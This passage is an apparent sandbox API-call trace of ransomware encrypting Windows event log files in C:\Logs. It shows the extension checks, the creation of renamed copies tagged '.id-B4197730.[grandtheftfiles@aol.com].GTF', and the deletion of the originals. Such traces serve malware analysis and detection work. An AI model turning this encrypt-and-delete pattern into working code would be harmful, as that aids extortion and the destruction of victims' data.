	[0076.414] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.414] lstrlenW (lpString=".ppt") returned 4
	[0076.414] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".zip") returned 4
	[0076.414] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".rar") returned 4
	[0076.414] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".bz2") returned 4
	[0076.414] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString=".7z") returned 3
	[0076.414] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".dbf") returned 4
	[0076.414] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.414] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.414] lstrlenW (lpString=".1cd") returned 4
	[0076.414] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.415] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0076.415] lstrlenW (lpString=".jpg") returned 4
	[0076.415] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.415] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.415] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78
	[0076.415] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.416] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0076.416] CloseHandle (hObject=0x388) returned 1
	[0076.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0076.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.416] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.416] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.419] GetLastError () returned 0x0
	[0076.419] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.431] WriteFile (in: hFile=0x35c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.433] ReadFile (in: hFile=0x388, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.433] WriteFile (in: hFile=0x35c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x170, lpOverlapped=0x0) returned 1
	[0076.433] SetEndOfFile (hFile=0x35c) returned 1
	[0076.433] CloseHandle (hObject=0x35c) returned 1
	[0076.435] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.435] SetEndOfFile (hFile=0x388) returned 1
	[0076.437] CloseHandle (hObject=0x388) returned 1
	[0076.437] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.438] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".doc") returned 4
	[0076.439] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".docx") returned 5
	[0076.439] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.439] lstrlenW (lpString=".pdf") returned 4
	[0076.439] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".xls") returned 4
	[0076.439] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".xlsx") returned 5
	[0076.439] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.439] lstrlenW (lpString=".ppt") returned 4
	[0076.439] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".zip") returned 4
	[0076.439] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".rar") returned 4
	[0076.439] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".bz2") returned 4
	[0076.439] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString=".7z") returned 3
	[0076.439] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".dbf") returned 4
	[0076.439] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".1cd") returned 4
	[0076.439] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".jpg") returned 4
	[0076.439] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.439] lstrlenW (lpString=".doc") returned 4
	[0076.439] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".docx") returned 5
	[0076.440] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.440] lstrlenW (lpString=".pdf") returned 4
	[0076.440] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".xls") returned 4
	[0076.440] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".xlsx") returned 5
	[0076.440] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.440] lstrlenW (lpString=".ppt") returned 4
	[0076.440] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.440] lstrlenW (lpString=".zip") returned 4
	[0076.440] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".rar") returned 4
	[0076.440] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".bz2") returned 4
	[0076.440] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString=".7z") returned 3
	[0076.440] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.440] lstrlenW (lpString=".dbf") returned 4
	[0076.440] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.441] lstrlenW (lpString=".1cd") returned 4
	[0076.441] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0076.441] lstrlenW (lpString=".jpg") returned 4
	[0076.441] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.441] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.441] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45
	[0076.441] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.442] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0076.442] CloseHandle (hObject=0x35c) returned 1
	[0076.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20
	[0076.443] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.445] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.446] GetLastError () returned 0x0
	[0076.446] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.473] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.476] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.476] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0076.476] SetEndOfFile (hFile=0x340) returned 1
	[0076.476] CloseHandle (hObject=0x340) returned 1
	[0076.478] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.478] SetEndOfFile (hFile=0x374) returned 1
	[0076.480] CloseHandle (hObject=0x374) returned 1
	[0076.480] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.480] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1
	[0076.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.480] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.480] lstrlenW (lpString=".doc") returned 4
	[0076.480] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.480] lstrlenW (lpString=".docx") returned 5
	[0076.480] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.480] lstrlenW (lpString=".pdf") returned 4
	[0076.480] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.480] lstrlenW (lpString=".xls") returned 4
	[0076.480] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.480] lstrlenW (lpString=".xlsx") returned 5
	[0076.480] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.481] lstrlenW (lpString=".ppt") returned 4
	[0076.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".zip") returned 4
	[0076.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".rar") returned 4
	[0076.481] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".bz2") returned 4
	[0076.481] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".7z") returned 3
	[0076.481] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".dbf") returned 4
	[0076.481] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".1cd") returned 4
	[0076.481] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".jpg") returned 4
	[0076.481] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".doc") returned 4
	[0076.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".docx") returned 5
	[0076.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.481] lstrlenW (lpString=".pdf") returned 4
	[0076.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".xls") returned 4
	[0076.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString=".xlsx") returned 5
	[0076.481] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.481] lstrlenW (lpString=".ppt") returned 4
	[0076.481] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.481] lstrlenW (lpString=".zip") returned 4
	[0076.481] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.482] lstrlenW (lpString=".rar") returned 4
	[0076.482] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.482] lstrlenW (lpString=".bz2") returned 4
	[0076.482] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.482] lstrlenW (lpString=".7z") returned 3
	[0076.482] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.482] lstrlenW (lpString=".dbf") returned 4
	[0076.482] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.482] lstrlenW (lpString=".1cd") returned 4
	[0076.482] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53
	[0076.482] lstrlenW (lpString=".jpg") returned 4
	[0076.482] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.482] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.482] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48
	[0076.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.482] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0076.482] CloseHandle (hObject=0x374) returned 1
	[0076.482] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0076.483] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0076.483] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.483] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.483] GetLastError () returned 0x0
	[0076.483] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.819] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.821] ReadFile (in: hFile=0x374, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.821] WriteFile (in: hFile=0x340, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x134, lpOverlapped=0x0) returned 1
	[0076.821] SetEndOfFile (hFile=0x340) returned 1
	[0076.821] CloseHandle (hObject=0x340) returned 1
	[0076.823] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.823] SetEndOfFile (hFile=0x374) returned 1
	[0076.825] CloseHandle (hObject=0x374) returned 1
	[0076.825] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.826] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1
	[0076.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.826] lstrlenW (lpString=".doc") returned 4
	[0076.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".docx") returned 5
	[0076.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.826] lstrlenW (lpString=".pdf") returned 4
	[0076.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".xls") returned 4
	[0076.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".xlsx") returned 5
	[0076.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.826] lstrlenW (lpString=".ppt") returned 4
	[0076.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.826] lstrlenW (lpString=".zip") returned 4
	[0076.826] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".rar") returned 4
	[0076.826] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".bz2") returned 4
	[0076.826] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.826] lstrlenW (lpString=".7z") returned 3
	[0076.826] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".dbf") returned 4
	[0076.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".1cd") returned 4
	[0076.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".jpg") returned 4
	[0076.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".doc") returned 4
	[0076.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".docx") returned 5
	[0076.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.827] lstrlenW (lpString=".pdf") returned 4
	[0076.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".xls") returned 4
	[0076.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".xlsx") returned 5
	[0076.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.827] lstrlenW (lpString=".ppt") returned 4
	[0076.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".zip") returned 4
	[0076.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".rar") returned 4
	[0076.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".bz2") returned 4
	[0076.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.827] lstrlenW (lpString=".7z") returned 3
	[0076.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0076.827] lstrlenW (lpString=".dbf") returned 4
	[0076.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
